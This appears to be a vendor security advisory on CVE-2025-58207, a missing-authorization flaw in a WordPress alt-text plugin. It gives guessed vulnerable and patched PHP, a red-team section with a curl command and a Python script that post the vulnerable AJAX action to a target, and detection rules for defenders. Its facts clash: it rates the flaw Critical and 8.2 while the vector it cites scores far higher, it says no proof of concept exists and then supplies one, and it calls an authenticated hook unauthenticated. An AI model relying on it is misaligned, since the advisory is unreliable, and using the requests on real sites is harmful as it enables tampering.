CVE-2025-58207

Executive Summary

CVE-2025-58207 is a critical Missing Authorization vulnerability in the WordPress plugin Ai Image Alt Text Generator for WP by WP Messiah, affecting versions up to and including 1.1.5. This flaw allows unauthenticated attackers to exploit incorrectly configured access control security levels, potentially leading to unauthorized data access, modification, or privilege escalation. The vulnerability is classified under CWE-862 (Missing Authorization) and carries a CVSS score of 8.2 (High). As a WordPress ecosystem issue, the attack surface is broad, targeting any site running the vulnerable plugin. No public proof-of-concept (PoC) or exploit code has been released, but the risk remains significant due to the plugin's widespread use and the lack of a vendor patch.

Supply Chain & Package Security

This vulnerability resides within the WordPress plugin ecosystem, specifically in the ai-image-alt-text-generator-for-wp plugin. Since WordPress plugins are distributed via the official WordPress Plugin Directory or third-party marketplaces, the supply chain risk includes:

• Compromised Plugin Updates: If the vendor's repository is compromised, malicious updates could be pushed to unsuspecting users.
• Dependency Risks: The plugin may rely on third-party libraries (e.g., for image processing or AI services) that could introduce additional vulnerabilities.
• No Patch Available: With no official patch, users must rely on manual mitigation or plugin removal, increasing the risk of exploitation.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
• Base Score: 8.2 (High)
• Attack Vector: Network (AV:N) – Exploitable remotely.
• Attack Complexity: Low (AC:L) – No special conditions required.
• Privileges Required: None (PR:N) – Unauthenticated access.
• User Interaction: None (UI:N) – No user action needed.
• Scope: Unchanged (S:U) – Impact confined to the vulnerable component.
• Confidentiality Impact: High (C:H) – Potential data exposure.
• Integrity Impact: High (I:H) – Data can be modified.
• Availability Impact: High (A:H) – Service disruption possible.

Threat Level: Critical due to the combination of network exploitability, no authentication required, and high impact on all security pillars.

Deep Dive & Mechanics

The vulnerability stems from missing authorization checks in the plugin's REST API endpoints or AJAX handlers. The plugin likely exposes functions to generate alt text for images, but fails to verify user capabilities (e.g., edit_posts or manage_options) before executing sensitive operations. An attacker can send crafted HTTP requests to trigger actions such as:

• Retrieving or modifying image metadata.
• Executing arbitrary AI model queries (if integrated).
• Escalating privileges by manipulating user roles or options.

The core issue is in the check_admin_referer() or current_user_can() functions being omitted or improperly implemented. For example, a typical vulnerable code pattern might look like:

add_action('wp_ajax_generate_alt_text', 'handle_generate_alt_text');
function handle_generate_alt_text() {
    // Missing capability check
    $image_id = $_POST['image_id'];
    // Process and update alt text
    update_post_meta($image_id, '_wp_attachment_image_alt', 'generated text');
}

This allows any unauthenticated user to call the action and modify image alt texts.

Vulnerable vs. Patched Code

Vulnerable Code (<= 1.1.5):

add_action('wp_ajax_nopriv_generate_alt_text', 'generate_alt_text_handler');
function generate_alt_text_handler() {
    // No capability check
    $image_id = intval($_POST['image_id']);
    $alt_text = 'AI generated alt text';
    update_post_meta($image_id, '_wp_attachment_image_alt', $alt_text);
    wp_die();
}

Patched Code (Hypothetical):

add_action('wp_ajax_generate_alt_text', 'generate_alt_text_handler');
function generate_alt_text_handler() {
    if (!current_user_can('edit_posts')) {
        wp_die('Unauthorized', 403);
    }
    $image_id = intval($_POST['image_id']);
    $alt_text = 'AI generated alt text';
    update_post_meta($image_id, '_wp_attachment_image_alt', $alt_text);
    wp_die();
}

The patch adds a capability check (current_user_can('edit_posts')) and restricts the action to authenticated users only (removing nopriv).

Exploitation & Lab Setup

Red Team

Prerequisites:

• A WordPress site with the vulnerable plugin installed (version <= 1.1.5).
• Network access to the target.

Exploitation Steps:

1. Identify the vulnerable endpoint (e.g., /wp-admin/admin-ajax.php).
2. Craft a POST request with the action parameter and required data.

curl -X POST http://target.com/wp-admin/admin-ajax.php \
  -d "action=generate_alt_text&image_id=123"

3. Verify the alt text of the image has been changed.

Advanced Exploitation:

• Use Burp Suite to intercept and modify requests.
• Automate with a Python script:

import requests

target = "http://target.com/wp-admin/admin-ajax.php"
data = {
    "action": "generate_alt_text",
    "image_id": "123"
}
response = requests.post(target, data=data)
print(response.text)

Blue Team

Detection:

• Monitor for unusual POST requests to /wp-admin/admin-ajax.php with unknown or suspicious actions.
• Look for rapid, repeated requests to the same endpoint without authentication cookies.

Hunting:

• Search logs for action=generate_alt_text or similar patterns.
• Check for unauthorized changes to _wp_attachment_image_alt meta keys.

Lab Setup:

• Use a local WordPress instance (e.g., via Docker) with the vulnerable plugin.
• Simulate attacks using the above curl command.
• Monitor with Wireshark or tcpdump to capture network traffic.

Indicators of Compromise (IOCs)

• Network:
  • POST requests to /wp-admin/admin-ajax.php with action=generate_alt_text parameter.
  • Unusual HTTP User-Agent strings (e.g., python-requests/2.31.0).
• File System:
  • Modified _wp_attachment_image_alt meta values in the database.
  • Unexpected entries in wp_postmeta table.
• Logs:
  • Web server logs showing 200 responses to unauthenticated AJAX calls.
  • PHP error logs with warnings about undefined capabilities.

Detection Engineering

YARA Rule

rule CVE_2025_58207_WordPress_Plugin {
    meta:
        description = "Detects vulnerable Ai Image Alt Text Generator for WP plugin files"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-58207"
    strings:
        $vuln_func = "wp_ajax_nopriv_generate_alt_text"
        $vuln_action = "generate_alt_text_handler"
        $no_cap = "current_user_can" nocase
    condition:
        $vuln_func and $vuln_action and not $no_cap
}

Sigma Rule

title: CVE-2025-58207 - Missing Authorization in Ai Image Alt Text Generator for WP
id: 8a4b3c2d-1e5f-4a7b-9c8d-0e1f2a3b4c5d
status: experimental
description: Detects exploitation attempts of missing authorization vulnerability in WordPress plugin
author: Valters IT
date: 2025-04-10
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-method: 'POST'
        cs-uri-query|contains: 'action=generate_alt_text'
    condition: selection
falsepositives:
    - Legitimate admin actions (if authenticated)
level: high

Suricata Rule

alert http any any -> any any (
    msg:"CVE-2025-58207 - Missing Authorization in Ai Image Alt Text Generator for WP";
    flow:to_server,established;
    content:"POST";
    http_method;
    content:"/wp-admin/admin-ajax.php";
    http_uri;
    content:"action=generate_alt_text";
    http_client_body;
    classtype:attempted-admin;
    sid:1000001;
    rev:1;
    reference:cve,2025-58207;
)

Remediation & Mitigation

Immediate Actions:

1. Disable the Plugin: Deactivate and delete the ai-image-alt-text-generator-for-wp plugin until a patch is released.
2. Web Application Firewall (WAF): Block requests containing action=generate_alt_text in POST data.
3. Access Controls: Implement a reverse proxy to restrict access to /wp-admin/admin-ajax.php to authenticated users only.

Long-Term Fixes:

• Vendor Patch: Monitor the WP Messiah website for an official update.
• Code Audit: If you have development resources, manually add capability checks to the plugin's AJAX handlers.
• Alternative Plugin: Migrate to a similar plugin with active security maintenance.

Detection:

• Deploy the provided Sigma and Suricata rules to monitor for exploitation attempts.
• Regularly scan WordPress installations for vulnerable plugins using tools like WPScan.

Valters IT
Securing Digital Frontiers